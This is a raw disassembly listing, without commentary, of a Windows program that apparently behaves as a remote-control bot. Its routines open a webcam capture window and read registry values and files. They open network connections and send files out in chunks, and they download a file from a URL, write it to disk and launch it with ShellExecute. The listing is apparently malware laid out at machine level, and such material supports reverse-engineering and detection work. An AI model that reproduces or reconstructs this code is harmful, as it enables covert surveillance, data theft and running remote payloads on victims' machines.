mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361FC, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361FC mov esi, offset dword_436208 mov edi, offset dword_437400 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373FC ; "=" push eax call sub_41C0F4 push offset asc_4373FC ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747C68h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h dd 22CA314h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744C68h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A2AAE856h, 6A90022Ch, 6BE89064h, 330225B1h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 13E89064h, 6A0225B1h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741868FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub al, 2 loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_43757C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437558 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_43747C jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 27008FEh nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437538 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2750000h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437520 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437508 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374E4 loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2780000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2700000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 26608E4h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B8 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26E0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_4374A0 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 2670AE9h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 27008FEh cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_43761C jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 26608E4h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375EC jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375CC loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_4374A0 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26E0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_4375A0 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26E0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax nop call near ptr 27008FEh cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E8 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0000h loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 269061Dh mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26F0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377C0 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437798 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_43776C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 269061Dh sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26608E4h push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_437744 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_43770C push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376F0 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 24h jmp loc_4168D2 ; --------------------------------------------------------------------------- loc_41678D: ; CODE XREF: ___:0041669Fj mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi 